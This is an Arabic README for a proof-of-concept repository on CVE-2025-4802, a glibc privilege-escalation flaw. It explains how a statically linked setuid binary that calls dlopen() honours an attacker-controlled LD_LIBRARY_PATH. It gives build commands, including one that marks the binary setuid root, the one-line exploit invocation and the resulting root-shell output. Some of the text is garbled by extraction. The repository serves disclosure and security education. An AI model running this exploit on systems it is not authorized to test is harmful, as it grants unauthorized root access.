
إثبات مفهوم لثنائي setuid مُجمَّع بشكل ساكن معرّض لثغرة dlopen مع LD_LIBRARY_PATH
⚠️ إخلاء المسؤولية: هذا المستودع مخصص لأغراض البحث الأمني التعليمي والمصرح به فقط. لا تستخدم هذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها. قد ينتهك سوء الاستخدام القوانين واللوائح.
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2025-4802 |
| البرنامج المتأثر | مكتبة GNU C (glibc) |
| الإصدارات المتأثرة | 2.27 – 2.38 |
| نوع الثغرة | تصعيد الصلاحيات عبر LD_LIBRARY_PATH غير الموثوق |
| ناقل الهجوم | محلي |
تسمح ثغرة في مكتبة GNU C (glibc) بالإصدارات من 2.27 إلى 2.38 للمهاجم باستغلال متغير البيئة LD_LIBRARY_PATH في الملفات التنفيذية المُجمَّعة بشكل ثابت ذات صلاحيات setuid التي تستدعي dlopen().
عادةً، يقوم الرابط الديناميكي بتعقيم LD_LIBRARY_PATH لبرامج setuid. ومع ذلك، تتجاوز الملفات التنفيذية المُجمَّعة بشكل ثابت الرابط الديناميكي بالكامل، لذا لا يتم مسح LD_LIBRARY_PATH أبدًا. عندما يستدعي مثل هذا الملف التنفيذي dlopen() (مباشرةً، أو بشكل غير مباشر عبر setlocale() أو دوال NSS مثل getaddrinfo())، تقوم glibc بحل المكتبات المشتركة باستخدام LD_LIBRARY_PATH الذي يتحكم فيه المهاجم، مما يتيح تنفيذ تعليمات برمجية عشوائية بصلاحيات مرتفعة.
dlopen("myso.so", ...) لتحميل كائن مشترك بالاسم (وليس بمسار مطلق).ld-linux.so) لا يعمل أبدًا، لذا لا يتم تعقيم LD_LIBRARY_PATH.myso.so) يُصدِّر نفس الرمز hello() لكنه يُشغِّل صدفة بصلاحيات root.LD_LIBRARY_PATH للإشارة إلى الدليل الذي يحتوي على المكتبة الخبيثة..
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version)gcc، makemake all
أو يدويًا:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
المخرجات المتوقعة:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (سلوك خبيث)LD_LIBRARY_PATH=./evil_library ./main
المخرجات المتوقعة:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
يقوم الملف التنفيذي بتحميل myso.so الخاص بالمهاجم من evil_library/ بدلاً من المكتبة الشرعية، مما يُشغِّل صدفة بصلاحيات root.

يتوفر أيضًا شرح بالفيديو: proof_of_concept_video.mp4
dlopen()dlopen() بدلاً من أسماء المكتبات المجردةdlopen()